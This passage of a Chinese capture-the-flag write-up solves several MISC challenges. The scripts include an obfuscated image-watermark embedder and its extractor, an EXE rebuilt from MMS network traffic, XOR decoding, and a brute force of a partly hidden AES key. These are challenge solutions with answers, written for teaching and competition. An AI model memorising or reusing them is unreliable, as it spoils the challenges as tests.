    def i(O00O0OOO0O00O0O0O, O0O0O00O00OO0O0OO):
        OOOO0OOO00O00OOOO = np.packbits(O0O0O00O00OO0O0OO).tobytes()
        return OOOO0OOO00O00OOOO


    #字节解压转换
    def j(O0O0O0O0O0O00000O, O0O00OOO00000O000):
        OOO0OOOO0O000O0OO = np.unpackbits(np.frombuffer(O0O00OOO00000O000, dtype='uint8'))
        if len(OOO0OOOO0O000O0OO) < O0O0O0O0O0O00000O.max_bits_size:
            OOO0OOOO0O000O0OO = np.hstack(
                (OOO0OOOO0O000O0OO,
                 np.zeros(O0O0O0O0O0O00000O.max_bits_size - len(OOO0OOOO0O000O0OO)))).astype('uint8')
        return OOO0OOOO0O000O0OO


    #屎山套娃...上面的efg都在里面.
    def k(OO00000O0OO0OO000, OOOOOOO00O00O0OO0, OOO00OO0O0OO0OOOO):
        O00O0OOO00OO0OO00 = OOOOOOO00O00O0OO0.copy()
        for OO000000O00OOO0O0, OO00O0000000OO0OO in enumerate(OOOOOOO00O00O0OO0):
            OO0OO0OOO0OOOOOO0 = OOO00OO0O0OO0OOOO[OO000000O00OOO0O0]
            O0OO00OO000000O0O = cv2.dct(OO00O0000000OO0OO)
            OOO000O000OO00OOO, OO00OOO000000OOO0, OO0OO0OOOO000OO0O = np.linalg.svd(O0OO00OO000000O0O)
            OO0000O0O000OO0OO = np.max(OO00OOO000000OOO0)
            OOO0O00OOOO0O0OO0 = e(OO0000O0O000OO0OO, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            OOOO0OOO0O0OOO00O = g(OOO0O00OOOO0O0OO0, OO0OO0OOO0OOOOOO0, OO00000O0OO0OO000.delta)
            O00OOOOOOO0OO0OO0 = f(OOOO0OOO0O0OOO00O, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            for O0O0O0OOO00O00OOO in range(OO00000O0OO0OO000.block_shape):
                if OO00OOO000000OOO0[O0O0O0OOO00O00OOO] == OO0000O0O000OO0OO:
                    OO00OOO000000OOO0[O0O0O0OOO00O00OOO] = O00OOOOOOO0OO0OO0
            O0OO0O0OOOOOO000O = np.dot(np.dot(OOO000O000OO00OOO, np.diag(OO00OOO000000OOO0)),
                                       OO0OO0OOOO000OO0O)
            O0OOO0O0O00OOO000 = cv2.idct(O0OO0O0OOOOOO000O)
            O00O0OOO00OO0OO00[OO000000O00OOO0O0] = O0OOO0O0O00OOO000
        return O00O0OOO00OO0OO00


        #关键内容,最终变换....
    def l(OOOOOOOO0OO00OOO0, O0O00O000OOO000OO):
        OOOO0O0OO0O000O00 = a(O0O00O000OOO000OO, OOOOOOOO0OO00OOO0.arnold_factor)#猫眼变换
        OOO00OO0000O0O0OO = d(OOOO0O0OO0O000O00)                                 #进行二值化
        O00O0OO0000OOOOO0 = OOOOOOOO0OO00OOO0.h(OOO00OO0000O0O0OO)              #补
        OO0000O000000O0OO = OOOOOOOO0OO00OOO0.i(O00O0OO0000OOOOO0)              #转换为字节
        OO00OOO0O0OO000OO = RSCodec(OOOOOOOO0OO00OOO0.rsc_factor)               #纠错
        O0O00OO0OO000OO0O = bytes(OO00OOO0O0OO000OO.encode(OO0000O000000O0OO)) #编码,转字节
        OOOOO0OOOOOO00OOO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[:OOOOOOOO0OO00OOO0.max_bytes_size]) #压缩数组
        O0OO0OOO0000OO0OO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[OOOOOOOO0OO00OOO0.max_bytes_size:])   #压缩数组
        O0OO0O00OO0000OOO = cv2.cvtColor(OOOOOOOO0OO00OOO0.carrier, cv2.COLOR_BGR2YCrCb)    #转换为YCrCb
        OOO000O00O000OO0O, OO0OO0O0OOOOOOO00, OO0OO0OO000OOO000 = cv2.split(O0OO0O00OO0000OOO)  #分离通道
        O000O00OO0O00000O, O00OO0OOO0O0OO000 = pywt.dwt2(OO0OO0O0OOOOOOO00, 'haar')      #小波变换
        O0O0O00OOOO00OO00, OOOOO00000000OO0O = pywt.dwt2(OO0OO0OO000OOO000, 'haar')         #小波变换
        OO0OOO0OOO00OO0O0 = b(O000O00OO0O00000O,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块
        O0OO000OOO0OO0000 = b(O0O0O00OOOO00OO00,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape))   #分块
        O00000OO0O00O0O0O = OOOOOOOO0OO00OOO0.k(OO0OOO0OOO00OO0O0, OOOOO0OOOOOO00OOO)   #DCT套娃变换
        O000OOOO0000OOO00 = c(O00000OO0O00O0O0O,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
        O0OO0O0OOO0O000OO = OOOOOOOO0OO00OOO0.k(O0OO000OOO0OO0000, O0OO0OOO0000OO0OO) #DCT套娃变换
        O000O0O0OOO00OO0O = c(O0OO0O0OOO0O000OO,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
        OOO00O0OOO00OO0OO = pywt.idwt2((O000OOOO0000OOO00, O00OO0OOO0O0OO000), 'haar')  #小波逆变换
        O00OOO000O00OO0OO = pywt.idwt2((O000O0O0OOO00OO0O, OOOOO00000000OO0O), 'haar')  #小波逆变换
        O0OO000O0000000O0 = cv2.merge(
            [OOO000O00O000OO0O,
             OOO00O0OOO00OO0OO.astype('float32'),
             O00OOO000O00OO0OO.astype('float32')])
        O0OO0000000OO00O0 = cv2.cvtColor(O0OO000O0000000O0, cv2.COLOR_YCrCb2BGR) #转换为BGR
        return O0OO0000000OO00O0


if __name__ == '__main__':
    carrier = cv2.imread('test_images/lena.png')
    watermark = cv2.imread('test_images/flag.png', cv2.IMREAD_GRAYSCALE)
    wm = Watermark(carrier)
    embedded = wm.l(watermark)
    cv2.imwrite('embedded.png', embedded)

关键内容是l()函数,后面流程我都加备注了,基本流程是

两个图片各经历了不同的变化,

水印做猫眼,二值化之后压缩转为字节,最后RScode转为bytes,然后进行解压缩数据

原图首先通道转换,Cr,Cb通道进行了小波转换,随后数据分块4×4

之后将水印进行嵌入,然后使用了超级无敌大套娃的k函数(dct,svd,μ,QIM),将两组数据分别写入,Cr,Cb通道,进行合块(c函数),最终进行反小波运算,将通道转为RGB,完成隐写。。。

我只能说那是真的

那么知道具体思路写解密脚本就行了,就是从下往上回着写,基本都有对应,不难

脚本如下,尊重一下出题人的想法, 此处我也使用同样类型的混淆算法进行编写exp

from email.mime import image
import hashlib
import cv2
import numpy as np
import pywt
from reedsolo import RSCodec
import matplotlib.pyplot as plt


class WatermarkExtract ():
    def __init__ (O000OO00O00OOO0OO ,OOO00OO0OO0000O00 ):
        O000OO00O00OOO0OO .block_shape =4
        O000OO00O00OOO0OO .arnold_factor =(6 ,20 ,22 )
        O000OO00O00OOO0OO .rsc_factor =100 
        O000OO00O00OOO0OO .mu_law_mu =100 
        O000OO00O00OOO0OO .mu_law_X_max =8000 
        O000OO00O00OOO0OO .delta =15 
        O000OO00O00OOO0OO .carrier =OOO00OO0OO0000O00 .astype ('float32')
        O0O0O0OO0OO0OO00O ,O0OOO0O000OO0OOOO =O000OO00O00OOO0OO .carrier .shape [:2 ]
        O000OO00O00OOO0OO .carrier_cA_height =O0O0O0OO0OO0OO00O //2 
        O000OO00O00OOO0OO .carrier_cA_width =O0OOO0O000OO0OOOO //2 
        O000OO00O00OOO0OO .watermark_height =O000OO00O00OOO0OO .carrier_cA_height //O000OO00O00OOO0OO .block_shape
        O000OO00O00OOO0OO .watermark_width =O000OO00O00OOO0OO .carrier_cA_width //O000OO00O00OOO0OO .block_shape 
        O000OO00O00OOO0OO .max_bits_size =O000OO00O00OOO0OO .watermark_height *O000OO00O00OOO0OO .watermark_width
        O000OO00O00OOO0OO .max_bytes_size =O000OO00O00OOO0OO .max_bits_size //8 #line:17
        O000OO00O00OOO0OO .rsc_size =len (RSCodec (O000OO00O00OOO0OO .rsc_factor ).encode (b'\x00'*O000OO00O00OOO0OO .max_bytes_size ))
    def c (O00O000000OOOO00O ,O000O0O0OO0O0OOOO ):
        OO00O00OO00O0000O ,O00O0OOOO000O0OO0 =O000O0O0OO0O0OOOO [:2 ]#line:22
        OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 =O00O000000OOOO00O .shape [-2 :]#line:23
        O0000O00O0O00OO00 =(OO00O00OO00O0000O //OO0O0O0O0OOO0O000 ,O00O0OOOO000O0OO0 //OO0000OOO00O0O0O0 ,OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 )#line:24
        O00O000000OOOO00O =np .reshape (O00O000000OOOO00O ,O0000O00O0O00OO00 )#line:25
        O0OO00O0000OOO000 =[]#line:26
        for OO000OOOO00OO0OOO in O00O000000OOOO00O :#line:27
            O0OO00O0000OOO000 .append (np .concatenate (OO000OOOO00OO0OOO ,axis =1 ))#line:28
        O0OOO0O00O0OO0OOO =np .concatenate (O0OO00O0000OOO000 ,axis =0 )#line:29
        return O0OOO0O00O0OO0OOO #line:30
    def b (OO0000OOO000OOO00 ,O000OO000OOO0O00O ,OO0O000OO0O0OO00O ):#line:32
        OO000O000000O0OOO ,O0O00OOOO0O0O0O00 =O000OO000OOO0O00O .shape [:2 ]#line:33
        O00000OO000O0O00O ,O00000OOO0OOO00O0 =OO0O000OO0O0OO00O #line:34
        OOOOOOO0OO00OOO00 =(OO000O000000O0OOO //O00000OO000O0O00O ,O0O00OOOO0O0O0O00 //O00000OOO0OOO00O0 ,O00000OO000O0O00O ,O00000OOO0OOO00O0 )#line:35
        OO000000O0OO0OO0O =O000OO000OOO0O00O .itemsize *np .array ([O0O00OOOO0O0O0O00 *O00000OO000O0O00O ,O00000OOO0OOO00O0 ,O0O00OOOO0O0O0O00 ,1 ])#line:36
        OO00O00OOOO0OOO00 =np .lib .stride_tricks .as_strided (O000OO000OOO0O00O ,OOOOOOO0OO00OOO00 ,OO000000O0OO0OO0O ).astype ('float64')#line:37
        OO00O00OOOO0OOO00 =np .reshape (OO00O00OOOO0OOO00 ,(OOOOOOO0OO00OOO00 [0 ]*OOOOOOO0OO00OOO00 [1 ],O00000OO000O0O00O ,O00000OOO0OOO00O0 ))#line:38
        return OO00O00OOOO0OOO00 #line:39
    def e1 (O0O0O0OOO00O00000 ,OOO000O00O0OOO0O0 ,OO000OOO000OO000O ,OOOOOO00000O00O00 ):#line:43
        return np .log (1 +OOOOOO00000O00O00 *(np .abs (OOO000O00O0OOO0O0 )/OO000OOO000OO000O ))/np .log (1 +OOOOOO00000O00O00 )#line:44
    def extract (OO0OOO00OO0O00OO0 ,O000OO0O0O00OOOO0 ,OO0OOO000O000O00O ):#line:46
        return O000OO0O0O00OOOO0 /2 -OO0OOO000O000O00O *1000 %O000OO0O0O00OOOO0 #line:47
    def reverse (O0OO0OO00000000OO ,OO0O00O000000OOOO ):#line:49
        O000OOOOOOOOO0O0O =OO0O00O000000OOOO .copy ()#line:50
        O000O0OOO000OOO0O =[]#line:51
        for O0OOOOO0000O0O000 ,OOO0000OO00OO0000 in enumerate (OO0O00O000000OOOO ):#line:52
            O00OO00O00000OOOO =cv2 .dct (OOO0000OO00OO0000 )#line:53
            O00O00O0OOO0OO0O0 ,OOOO0OO0OOOOOOOOO ,O00O000OO000O0000 =np .linalg .svd (O00OO00O00000OOOO )#line:54
            O0000O0OO0000OOO0 =np .max (OOOO0OO0OOOOOOOOO )#line:55
            O00OO0OO00O00O000 =O0OO0OO00000000OO .e1 (O0000O0OO0000OOO0 ,O0OO0OO00000000OO .mu_law_X_max ,O0OO0OO00000000OO .mu_law_mu )#line:56
            O000OOOOOOOOO0O0O =O0OO0OO00000000OO .extract (O0OO0OO00000000OO .delta ,O00OO0OO00O00O000 )#line:57
            if O000OOOOOOOOO0O0O >0 :#line:58
                O000O0OOO000OOO0O .append (1 )#line:59
            else :#line:60
                O000O0OOO000OOO0O .append (0 )#line:61
        return O000O0OOO000OOO0O #line:62
    def packbits (OOO00OO00OO0OOO00 ,O0O0O00O0O00OOO00 ):#line:64
        OOO00000O00000OO0 =np .packbits (O0O0O00O0O00OOO00 ).tobytes ()#line:65
        return OOO00000O00000OO0 #line:66
    def debuffer (OO0O0OO00O000OOOO ,OOO00OOOO00O0000O ):#line:68
        O0O0O0OO00OO00OO0 =np .unpackbits (np .frombuffer (OOO00OOOO00O0000O ,dtype ='uint8'))#line:69
        return O0O0O0OO00OO00OO0 #line:70
    def dearnold (OOOO000O0OO0OOO0O ,OOOOOOO00OO0O0000 ,OOOO0O0000O0OO0OO ):#line:72
        O0OOOOOOO000OO0O0 ,O00O0OO0OO0000O00 ,OOO00O00OOO00OO00 =OOOO0O0000O0OO0OO #line:73
        OO000OO000O0000O0 ,OOOOOO0O0OOOOO00O =OOOOOOO00OO0O0000 .shape [:2 ]#line:74
        OO000OO00OOOO00O0 =np .zeros (OOOOOOO00OO0O0000 .shape )#line:75
        for O00OO00OO00O00000 in range (O0OOOOOOO000OO0O0 ):#line:76
            for O0O000000000OOO0O in range (OO000OO000O0000O0 ):#line:77
                for O0O0OOOOO0OOOOOO0 in range (OOOOOO0O0OOOOO00O ):#line:78
                    O0OO0OO0O0O0O00OO =(O0O0OOOOO0OOOOOO0 +O00O0OO0OO0000O00 *O0O000000000OOO0O )%OOOOOO0O0OOOOO00O #line:79
                    OO000OO000O0OO0O0 =(OOO00O00OOO00OO00 *O0O0OOOOO0OOOOOO0 +(O00O0OO0OO0000O00 *OOO00O00OOO00OO00 +1 )*O0O000000000OOO0O )%OO000OO000O0000O0 #line:80
                    OO000OO00OOOO00O0 [OO000OO000O0OO0O0 ,O0OO0OO0O0O0O00OO ]=OOOOOOO00OO0O0000 [O0O000000000OOO0O ,O0O0OOOOO0OOOOOO0 ]#line:81
            OOOOOOO00OO0O0000 =OO000OO00OOOO00O0 .copy ()#line:82
        return OOOOOOO00OO0O0000 #line:84
    def decode1 (OOOOOOOO0OOOO0OO0 ,O0O000OO00O0O0000 ):#line:87
        O0O000OO00O0O0000 =OOOOOOOO0OOOO0OO0 .carrier #line:88
        OOOOO0O00OOOO0O00 =cv2 .cvtColor (O0O000OO00O0O0000 ,cv2 .COLOR_BGR2YCrCb )#line:89
        OO00O0OOO00OO000O ,O0OO00OO00OOO00OO ,O00O0OOO000O0OO00 =cv2 .split (OOOOO0O00OOOO0O00 )#line:90
        O0O0OO0O0O00000O0 ,O00O0000OOOO00O0O =pywt .dwt2 (O0OO00OO00OOO00OO ,'haar')#line:92
        OO000000OOO0O0OO0 ,O0OO000OOO0OO00OO =pywt .dwt2 (O00O0OOO000O0OO00 ,'haar')#line:93
        O0O0OOO00OO0O00O0 =OOOOOOOO0OOOO0OO0 .b (O0O0OO0O0O00000O0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:94
        O000OOOOO0O000O00 =OOOOOOOO0OOOO0OO0 .b (OO000000OOO0O0OO0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:95
        O0O0OO00OO0OOOOOO =OOOOOOOO0OOOO0OO0 .reverse (O0O0OOO00OO0O00O0 )#line:97
        OOO00OO000OO00000 =OOOOOOOO0OOOO0OO0 .reverse (O000OOOOO0O000O00 )#line:98
        O0OOO00O000000000 =np .array (O0O0OO00OO0OOOOOO +OOO00OO000OO00000 )#line:100
        OO000OO0OOOOO00O0 =(OOOOOOOO0OOOO0OO0 .packbits (O0OOO00O000000000 ))[:OOOOOOOO0OOOO0OO0 .rsc_size ]#line:101
        OOOO0OO0OO0O0OO0O =RSCodec (OOOOOOOO0OOOO0OO0 .rsc_factor )#line:102
        OO0OOOOO00O0OOOOO =bytes (OOOO0OO0OO0O0OO0O .decode (OO000OO0OOOOO00O0 )[0 ])#line:103
        OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .debuffer (OO0OOOOO00O0OOOOO ).reshape ((240 ,240 ))#line:104
        for OO0O0OO0OOO00OOO0 in range (19 ):#line:105
            OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .dearnold (OO0000O000OOO0OOO ,OOOOOOOO0OOOO0OO0 .arnold_factor )#line:106
        return OO0000O000OOO0OOO #line:108
if __name__ =='__main__':#line:111
    embedded =cv2 .imread ('embedded.png')#line:117
    wm =WatermarkExtract (embedded )#line:118
    extart =wm .decode1 (embedded )#line:119
    cv2 .imshow ('extart',extart )#line:121
     cv2 .waitKey (0 )#line:122
图片[12]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

4.super_electric

misc+re+crypto 只能说re和密码是牛逼的

流量分析,MMS流量,直接追踪TCP,发现盲点

图片[13]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一眼顶针,是MZ文件头的exe程序,仔细看一眼,是octet-string字段存储的,

然后导出csv,编写脚本即可

import csv
from hashlib import new


list1 = [] 
with open('dump.csv') as f:
    reader = csv.reader(f)
    for row in reader:
        list1.append(row)


newlist = []


for i in range(1,len(list1)-1):
    if len(list1[i][6]) == 16:
        newlist.append(list1[i][6])


strings = ''.join(newlist)
#hex转换,保存为exe
with open('1.exe', 'wb') as f:
    f.write(bytes.fromhex(strings))

拿到文件运行发现是弹窗提示,所以直接在MessageBox下了断点回溯找到校验部分

是明文比对,所以过了第一个校验

图片[14]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


然而并没有结束,flag不对,所以在继续找程序的可疑地方即是pack段与mysec段

在pack段的有个函数CRC解密的部分,所以怀疑是个内置的压缩壳

随后经过不断调试与尝试想起start函数可疑的地方,也就是经过第一个校验之后还在运行的地方

图片[15]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


于是把程序直接跑到这,跳过去直接dump出来

图片[16]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


直接审计一下提取数据手动解密

图片[17]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


得到

data1 = [  0xEA, 0xE8, 0xE7, 0xD6, 0xDC, 0xD6, 0xEE, 0xEC, 0xFD, 0xD6, 
  0xB8, 0xFD, 0xB6]
for t in data1:
    print(chr(t ^ 0x89), end = "")


print()


data = [  0x66, 0x73, 0x6D, 0x6E, 0x24, 0x46, 0x74, 0x7E, 0x78, 0x7D, 
  0x65, 0x25, 0x4F, 0x64, 0x7E, 0x67, 0x75, 0x63, 0x32, 0x7A, 
  0x79, 0x65, 0x79, 0x65, 0x6C, 0x39, 0x5B, 0x5E, 0x4F, 0x17, 
  0x77, 0x72, 0x50, 0x4E, 0x50, 0x57, 0x04, 0x47, 0x4F, 0x49, 
  0x49, 0x5A, 0x49, 0x42, 0x45, 0x27, 0x47, 0x42, 0x40, 0x5E, 
  0x40, 0x47, 0x14, 0x5D, 0x57, 0x44, 0x50, 0x55, 0x53, 0x59, 
  0x36, 0x5B, 0x4C, 0x50, 0x2D, 0x61, 0x2A, 0x2B, 0x2C, 0x65, 
  0x2F, 0x2A, 0x38, 0x26, 0x38, 0x3F, 0x6C, 0x2B, 0x22, 0x2E, 
  0x37, 0x5B, 0x33, 0x20, 0x27, 0x30, 0x24, 0x23, 0x78, 0x3F, 
  0x36, 0x3A, 0x3B, 0x06, 0x64, 0x6A, 0x3D, 0x41, 0x5F, 0x5E, 
  0x44, 0x42, 0x00, 0x0B, 0x09, 0x0E, 0x11, 0x4C, 0x4C, 0x0C, 
  0x00, 0x0B, 0x50, 0x17, 0x1E, 0x12, 0x13, 0x2E, 0x5B, 0x46, 
  0x42, 0x24, 0x5A, 0x46, 0x41, 0x5D, 0x59, 0x02, 0xA7, 0x8B, 
  0xE9, 0xE6, 0xFD, 0xA5, 0xBB, 0xA7, 0xEA, 0xAE, 0xBE, 0xEF, 
  0xB5, 0xEC, 0xB9, 0xBF, 0xA0, 0xA1, 0xA3, 0xA3, 0xA0, 0xA6, 
  0xA1, 0xBD, 0xB2, 0xB3, 0xBD, 0x91, 0xF0, 0xBD, 0xA3, 0xBF, 
  0xCC, 0xC4, 0xCC, 0x8B, 0xCF, 0xC0, 0xDF, 0x8E, 0xA2, 0xC4, 
  0xCF, 0xD8, 0xDF, 0xCC, 0xC9, 0xCA, 0x90, 0x8C, 0x92, 0xD1, 
  0x93, 0xF1, 0xD9, 0x97, 0xC1, 0xD6, 0xCF, 0x9B, 0xD9, 0xCB, 
  0xDB, 0xCD, 0xE0, 0xA7, 0xA7, 0xA6, 0xA8, 0xE9, 0xE6, 0xA1, 
  0xAD, 0xAC, 0xA6, 0xEB, 0xBF, 0xA2, 0xEE, 0xBF, 0xB1, 0xA1, 
  0xB7, 0xA1, 0xF4, 0xA1, 0xBE, 0xBE, 0xB6, 0xF5, 0xFA, 0x97, 
  0xB5, 0xB6, 0xBB, 0xFF, 0x81, 0xC1, 0x8A, 0x8C, 0x91, 0x96, 
  0x83, 0xC7, 0x87, 0x8F, 0xCA, 0x88, 0x8D, 0x9F, 0x8A, 0x9C, 
  0xDC, 0xD1, 0xBD, 0x9D, 0x91, 0xD5, 0x94, 0x9B, 0x97, 0x8E, 
  0xDA, 0x9D, 0x8E, 0x92, 0x93, 0xDF, 0x63, 0x60, 0x74, 0x6A, 
  0x6A, 0x62, 0x26, 0x6E, 0x66, 0x2E, 0x2A, 0x20, 0x2C, 0x6F, 
  0x67, 0x61, 0x71, 0x62, 0x71, 0x7A, 0x7D, 0x3B, 0x63, 0x79, 
  0x70, 0x7C, 0x62, 0x77, 0x75, 0x7B, 0x67, 0x37, 0x48, 0x40, 
  0x51, 0x4B, 0x48, 0x4C, 0x44, 0x09, 0x5B, 0x41, 0x4B, 0x19, 
  0x19, 0x1B, 0x06, 0x44, 0x55, 0x48, 0x1B, 0x1D, 0x5C, 0x50, 
  0x4E, 0x53, 0x51, 0x5E, 0x5F, 0x48, 0x48, 0x15, 0x17, 0x16, 
  0x1B, 0x7B, 0x73, 0x73, 0x19, 0x4F, 0x2F, 0x31, 0x68, 0x74, 
  0x6A, 0x2D, 0x20, 0x2C, 0x29, 0x14, 0x65, 0x6B, 0x7F, 0x62, 
  0x09, 0x5F, 0x3B, 0x32, 0x2B, 0x2A, 0x3B, 0x3C, 0x39, 0x7D, 
  0x63, 0x7F, 0x0D, 0x04, 0x11, 0x10, 0x05, 0x02, 0x03, 0x47, 
  0x43, 0x49, 0x08, 0x12, 0x18, 0x08, 0x1D, 0x47, 0x58, 0x1D, 
  0x52, 0x5E, 0x54, 0x19, 0x13, 0x19, 0x50, 0x14, 0x1F, 0x08, 
  0x0F, 0x1C, 0x19, 0x1A, 0xA9, 0xA1, 0xA7, 0xA3, 0xE8, 0xAC, 
  0xA6, 0xAD, 0xA8, 0xEA, 0xE2, 0xF9, 0xA4, 0xE1, 0xAE, 0xA2, 
  0xB0, 0xFD, 0xF7, 0xFD, 0xBC, 0xF8, 0xF3, 0xE4, 0xEB, 0xF8, 
  0xFD, 0xFE, 0xB5, 0xBD, 0xBB, 0xBF, 0xCC, 0x88, 0x8E, 0x83, 
  0xC1, 0xCB, 0xC5, 0xC8, 0xCC, 0xC0, 0xC4, 0xCC, 0x8C, 0x90, 
  0x8E, 0x88, 0xC5, 0xC5, 0xD4, 0x9E, 0x8C, 0x92, 0x9F, 0xBD, 
  0xD9, 0xDC, 0xC9, 0x9B, 0x81, 0x9D, 0xFF, 0xFA, 0x93, 0xEF, 
  0xAC, 0xA6, 0xB3, 0xED, 0xAD, 0xA2, 0xB1, 0xE5, 0xEA, 0x8A, 
  0x89, 0x9E, 0xE0, 0x82, 0x9F, 0x95, 0x97, 0x8C, 0x97, 0x97, 
  0x95, 0xFB, 0xF8, 0xB0, 0xAC, 0xF2, 0xD6, 0xAD, 0xAC, 0xB6, 
  0x8E, 0x95, 0xCA, 0x81, 0x8D, 0x8B, 0x87, 0x94, 0x8B, 0x80, 
  0x83, 0xC5, 0x84, 0x88, 0x96, 0x83, 0x99, 0x97, 0x8B, 0xDB, 
  0x95, 0x90, 0x85, 0xD9, 0x9D, 0x97, 0x99, 0x89, 0x85, 0x8D, 
  0x8A, 0xD7, 0x6D, 0x64, 0x71, 0x70, 0x65, 0x62, 0x63, 0x2E, 
  0x21, 0x20, 0x00, 0x28, 0x26, 0x27, 0x24, 0x25, 0x3A, 0x3B, 
  0x38, 0x39, 0x3E, 0x3F, 0x3C, 0x3D, 0x32, 0x33, 0x30, 0x31, 
  0x36, 0x37, 0x34, 0x35, 0x0A, 0x0B, 0x08, 0x09, 0x0E, 0x0F, 
  0x0C, 0x0D, 0x02, 0x03, 0x00, 0x01, 0x06, 0x07, 0x04, 0x05, 
  0x1A, 0x1B, 0x18, 0x19, 0x1E, 0x1F, 0x1C, 0x1D, 0x12, 0x13, 
  0x10, 0x11, 0x16, 0x17, 0x14, 0x15, 0x6A, 0x6B, 0x68, 0x69, 
  0x6E, 0x6F, 0x6C, 0x6D, 0x62, 0x63, 0x60, 0x61, 0x66, 0x67, 
  0x64, 0x65, 0x7A, 0x7B, 0x78, 0x79, 0x7E, 0x7F, 0x7C, 0x7D, 
  0x72, 0x73, 0x70, 0x71, 0x76, 0x77, 0x74, 0x75, 0x4A, 0x4B, 
  0x48, 0x49, 0x4E, 0x4F, 0x4C, 0x4D, 0x42, 0x43, 0x40, 0x41, 
  0x46, 0x47, 0x44, 0x45, 0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F, 
  0x5C, 0x5D, 0x52, 0x53, 0x50, 0x51, 0x56, 0x57, 0x54, 0x55, 
  0xAA, 0xAB, 0xA8, 0xA9, 0xAE, 0xAF, 0xAC, 0xAD, 0xA2, 0xA3, 
  0xA0, 0xA1, 0xA6, 0xA7, 0xA4, 0xA5, 0xBA, 0xBB, 0xB8, 0xB9, 
  0xBE, 0xBF, 0xBC, 0xBD, 0xB2, 0xB3, 0xB0, 0xB1, 0xB6, 0xB7, 
  0xB4, 0xB5, 0x8A, 0x8B, 0x91, 0xC5, 0xC6, 0xC4, 0x90, 0x93, 
  0xC9, 0xCD, 0x9D, 0xC9, 0x9B, 0x95, 0x98, 0x98, 0x86, 0xD4, 
  0x86, 0x85, 0x80, 0x86, 0x8F, 0x82, 0x89, 0x80, 0x83, 0x8F, 
  0x8E, 0x89, 0x8D, 0x8F, 0xF2, 0xA3, 0xF0, 0xF2, 0xA6, 0xF7, 
  0xA4, 0xF6, 0xFF, 0xAD, 0xA8, 0xF9, 0xC6]
for i in range(len(data)):
    print(chr(data[i] ^ i & 0xFF), end = "")


# can_U_get_1t?
from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key)
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2

然后又套了个密码,加点注释。

from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1] #flag内容做为iv。
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2



简单分析一下,首先给了个key,需要爆破,三位,然后密位没给全但是问题不大,可以用来当作校验,最后把明文当成密文来解aes应该就可以了,先爆破一下key

首先key是16进制,内容最多是0-9a-f,所以编写

from email import message
from encodings import utf_8


from Crypto.Util.number import *
from Crypto.Cipher import AES
import binascii
import hashlib


checknum =  0x3fba64ad7b78676e464395199424302b21b2b17db2


def XOR(a,b):
    c = []
    for i,j in zip(a,b):
        c.append(i^j)
    return bytes(c)
        
#16进制
strlist = "0123456789abcdef"


for a in strlist:
    for b in strlist:
        for c in strlist:
            key = '4d9a700010437'+a+b+c
            key = key.encode()
            l = len(key) #16
            message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
            message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
            aes = AES.new(key,AES.MODE_ECB)
            data1 = long_to_bytes(checknum)
            check = data1[:-16]  #flag{
            encode= data1[-16:]  #}
            #decode
            decode = aes.decrypt(encode)[-5:]
            if check == XOR(decode,message[-5:]):
                print(key)
                break

获得key:4d9a7000104376fe

有了key之后就可以带入之前的程序继续计算就行了

#题目给的
key = "4d9a7000104376fe"
key = key.encode()
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key,AES.MODE_ECB)
#clac
msg = []
for i in range(6):
    temp = message[i*16:(i+1)*16]
    msg.append(temp)


msg = msg[::-1]


flag = long_to_bytes(checknum)[-16:]
for i in range(6):
    flag = aes.decrypt(flag)
    flag = XOR(flag, msg[i])


print(flag)

5.BearParser

非预期上车

区块链,只给了部分代码,一直等上车来着

图片[18]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

